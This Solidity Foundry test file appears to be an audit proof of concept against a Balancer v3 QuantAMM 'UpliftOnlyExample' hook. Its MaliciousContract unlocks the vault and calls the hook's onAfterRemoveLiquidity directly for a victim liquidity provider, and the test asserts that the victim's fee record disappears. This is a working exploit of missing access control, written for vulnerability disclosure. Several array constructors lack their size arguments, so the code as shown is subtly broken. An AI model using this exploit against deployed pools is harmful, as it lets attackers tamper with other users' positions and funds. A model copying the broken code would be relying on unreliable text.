pragma solidity ^0.8.24;
import { BaseVaultTest } from "@balancer-labs/v3-vault/test/foundry/utils/BaseVaultTest.sol";
import { QuantAMMWeightedPool, IQuantAMMWeightedPool } from "pool-quantamm/contracts/QuantAMMWeightedPool.sol";
import {QuantAMMWeightedPoolFactory} from "pool-quantamm/contracts/QuantAMMWeightedPoolFactory.sol";
import { UpdateWeightRunner, IUpdateRule } from "pool-quantamm/contracts/UpdateWeightRunner.sol";
import { MockChainlinkOracle } from "./utils/MockOracle.sol";
import "@balancer-labs/v3-interfaces/contracts/pool-quantamm/OracleWrapper.sol";
import { IUpdateRule } from "pool-quantamm/contracts/rules/UpdateRule.sol";
import { MockMomentumRule } from "pool-quantamm/contracts/mock/mockRules/MockMomentumRule.sol";
import { UpliftOnlyExample } from "../../contracts/hooks-quantamm/UpliftOnlyExample.sol";
import { IPermit2 } from "permit2/src/interfaces/IPermit2.sol";
import { IVault } from "@balancer-labs/v3-interfaces/contracts/vault/IVault.sol";
import { IVaultAdmin } from "@balancer-labs/v3-interfaces/contracts/vault/IVaultAdmin.sol";
import { PoolRoleAccounts, TokenConfig, HooksConfig, RemoveLiquidityKind } from "@balancer-labs/v3-interfaces/contracts/vault/VaultTypes.sol";
import { IWETH } from "@balancer-labs/v3-interfaces/contracts/solidity-utils/misc/IWETH.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Router } from "@balancer-labs/v3-vault/contracts/Router.sol";
import {console} from "forge-std/console.sol";
contract UpLiftHookTest is BaseVaultTest {
uint256 internal daiIdx;
uint256 internal usdcIdx;
uint256 SWAP_FEE_PERCENTAGE = 10e16;
address quantAdmin = makeAddr("quantAdmin");
address owner = makeAddr("owner");
address poolCreator = makeAddr("poolCreator");
address liquidityProvider1 = makeAddr("liquidityProvider1");
address liquidityProvider2 = makeAddr("liquidityProvider2");
address attacker = makeAddr("attacker");
QuantAMMWeightedPool public weightedPool;
QuantAMMWeightedPoolFactory public weightedPoolFactory;
UpdateWeightRunner public updateWeightRunner;
MockChainlinkOracle mockOracledai;
MockChainlinkOracle mockOracleusdc;
MockChainlinkOracle ethOracle;
Router externalRouter;
UpliftOnlyExample upLifthook;
function setUp() public override {
vm.warp(block.timestamp + 3600);
mockOracledai = new MockChainlinkOracle(1e18, 0);
mockOracleusdc = new MockChainlinkOracle(1e18, 0);
ethOracle = new MockChainlinkOracle(2000e18, 0);
updateWeightRunner = new UpdateWeightRunner(quantAdmin, address(ethOracle));
vm.startPrank(quantAdmin);
updateWeightRunner.addOracle(OracleWrapper(address(mockOracledai)));
updateWeightRunner.addOracle(OracleWrapper(address(mockOracleusdc)));
vm.stopPrank();
super.setUp();
(daiIdx, usdcIdx) = getSortedIndexes(address(dai), address(usdc));
vm.prank(quantAdmin);
updateWeightRunner.setApprovedActionsForPool(pool, 2);
}
function createHook() internal override returns (address) {
weightedPoolFactory = new QuantAMMWeightedPoolFactory(IVault(address(vault)), 365 days, "Factory v1", "Pool v1", address(updateWeightRunner));
vm.prank(quantAdmin);
upLifthook = new UpliftOnlyExample(IVault(address(vault)), IWETH(weth), IPermit2(permit2), 100, 100, address(updateWeightRunner), "version 1", "lpnft", "LP-NFT");
return address(upLifthook);
}
function _createPool(
address[] memory tokens,
string memory label
) internal override returns (address newPool, bytes memory poolArgs) {
QuantAMMWeightedPoolFactory.NewPoolParams memory poolParams = _createPoolParams(tokens);
(newPool, poolArgs) = weightedPoolFactory.create(poolParams);
vm.label(newPool, label);
authorizer.grantRole(vault.getActionId(IVaultAdmin.setStaticSwapFeePercentage.selector), quantAdmin);
vm.prank(quantAdmin);
vault.setStaticSwapFeePercentage(newPool, SWAP_FEE_PERCENTAGE);
}
function _createPoolParams(address[] memory tokens) internal returns (QuantAMMWeightedPoolFactory.NewPoolParams memory retParams) {
PoolRoleAccounts memory roleAccounts;
uint64[] memory lambdas = new uint64[]();
lambdas[0] = 0.2e18;
int256[][] memory parameters = new int256[][]();
parameters[0] = new int256[]();
parameters[0][0] = 0.2e18;
address[][] memory oracles = new address[][]();
oracles[0] = new address[]();
oracles[0][0] = address(mockOracledai);
oracles[1] = new address[]();
oracles[1][0] = address(mockOracleusdc);
uint256[] memory normalizedWeights = new uint256[]();
normalizedWeights[0] = uint256(0.5e18);
normalizedWeights[1] = uint256(0.5e18);
IERC20[] memory ierctokens = new IERC20[]();
for (uint256 i = 0; i < tokens.length; i++) {
ierctokens[i] = IERC20(tokens[i]);
}
int256[] memory initialWeights = new int256[]();
initialWeights[0] = 0.5e18;
initialWeights[1] = 0.5e18;
int256[] memory initialMovingAverages = new int256[]();
initialMovingAverages[0] = 0.5e18;
initialMovingAverages[1] = 0.5e18;
int256[] memory initialIntermediateValues = new int256[]();
initialIntermediateValues[0] = 0.5e18;
initialIntermediateValues[1] = 0.5e18;
TokenConfig[] memory tokenConfig = vault.buildTokenConfig(ierctokens);
retParams = QuantAMMWeightedPoolFactory.NewPoolParams(
"Pool With Donation",
"PwD",
tokenConfig,
normalizedWeights,
roleAccounts,
0.02e18,
address(poolHooksContract),
true,
true,
0x0000000000000000000000000000000000000000000000000000000000000000,
initialWeights,
IQuantAMMWeightedPool.PoolSettings(
ierctokens,
IUpdateRule(new MockMomentumRule(owner)),
oracles,
60,
lambdas,
0.2e18,
0.2e18,
0.3e18,
parameters,
poolCreator
),
initialMovingAverages,
initialIntermediateValues,
3600,
16,
new string[][]()
);
}
function testAnyoneCanCallAfterRemoveLiquidityHook() public {
addLiquidity();
UpliftOnlyExample.FeeData[] memory feedData1 = UpliftOnlyExample(payable(poolHooksContract)).getUserPoolFeeData(pool, liquidityProvider1);
uint256 lengthBefore = feedData1.length;
MaliciousContract maliciousContract = new MaliciousContract(address(vault), payable(poolHooksContract), address(permit2), attacker);
deal(address(dai), attacker, 3e18);
deal(address(usdc), attacker, 3e18);
vm.startPrank(attacker);
IERC20(address(dai)).approve(address(permit2), .1e18);
IERC20(address(usdc)).approve(address(permit2), .1e18);
permit2.approve(address(dai), address(maliciousContract), .1e18, uint48(block.timestamp));
permit2.approve(address(usdc), address(maliciousContract), .1e18, uint48(block.timestamp));
vm.stopPrank();
uint256[] memory amountsOutRaw = new uint256[]();
amountsOutRaw[0] = 2.1e18;
amountsOutRaw[1] = 2.1e18;
maliciousContract.attack(pool, 2e18, amountsOutRaw, liquidityProvider1);
UpliftOnlyExample.FeeData[] memory feedData2 = UpliftOnlyExample(payable(poolHooksContract)).getUserPoolFeeData(pool, liquidityProvider1);
uint256 lengthAfter = feedData2.length;
assertEq(lengthAfter+1, lengthBefore);
}
function addLiquidity() public {
deal(address(dai), liquidityProvider1, 100e18);
deal(address(usdc), liquidityProvider1, 100e18);
uint256[] memory maxAmountsIn = new uint256[]();
maxAmountsIn[0] = 2.1e18;
maxAmountsIn[1] = 2.1e18;
uint256 exactBptAmountOut = 2e18;
vm.startPrank(liquidityProvider1);
IERC20(address(dai)).approve(address(permit2), 100e18);
IERC20(address(usdc)).approve(address(permit2), 100e18);
permit2.approve(address(dai), address(poolHooksContract), 100e18, uint48(block.timestamp));
permit2.approve(address(usdc), address(poolHooksContract), 100e18, uint48(block.timestamp));
UpliftOnlyExample(payable(poolHooksContract)).addLiquidityProportional(pool, maxAmountsIn, exactBptAmountOut, false, abi.encodePacked(liquidityProvider1));
vm.stopPrank();
deal(address(dai), liquidityProvider2, 100e18);
deal(address(usdc), liquidityProvider2, 100e18);
vm.startPrank(liquidityProvider2);
IERC20(address(dai)).approve(address(permit2), 100e18);
IERC20(address(usdc)).approve(address(permit2), 100e18);
permit2.approve(address(dai), address(poolHooksContract), 100e18, uint48(block.timestamp));
permit2.approve(address(usdc), address(poolHooksContract), 100e18, uint48(block.timestamp));
UpliftOnlyExample(payable(poolHooksContract)).addLiquidityProportional(pool, maxAmountsIn, exactBptAmountOut, false, abi.encodePacked(liquidityProvider2));
vm.stopPrank();
console.log("Liquidity added");
}
}
contract MaliciousContract {
IVault vault;
UpliftOnlyExample router;
IPermit2 permit2;
address owner;
constructor(address _vault, address payable _router, address _permit2, address _owner) {
vault = IVault(_vault);
router = UpliftOnlyExample(_router);
permit2 = IPermit2(_permit2);
owner = _owner;
}
function attack(address pool, uint256 bptAmountIn, uint256[] memory amountsOutRaw, address victim) public {
vault.unlock(
abi.encodeCall(MaliciousContract.settleDebts, (pool, bptAmountIn, amountsOutRaw, victim))
);
}
function settleDebts(address pool, uint256 bptAmountIn, uint256[] memory amountsOutRaw, address victim) external {
router.onAfterRemoveLiquidity(
address(router),
pool,
RemoveLiquidityKind.PROPORTIONAL,
bptAmountIn,
new uint256[](2),
amountsOutRaw,
new uint256[](2),
abi.encodePacked(victim)
);
IERC20[] memory poolTokens = vault.getPoolTokens(pool);
for(uint256 i=0; i<poolTokens.length; i++){
int256 delta = vault.getTokenDelta(poolTokens[i]);
if(delta > 0) {
permit2.transferFrom(owner, address(vault), uint160(uint256(delta)), address(poolTokens[i]));
vault.settle(poolTokens[i], uint256(delta));
}
}
}
}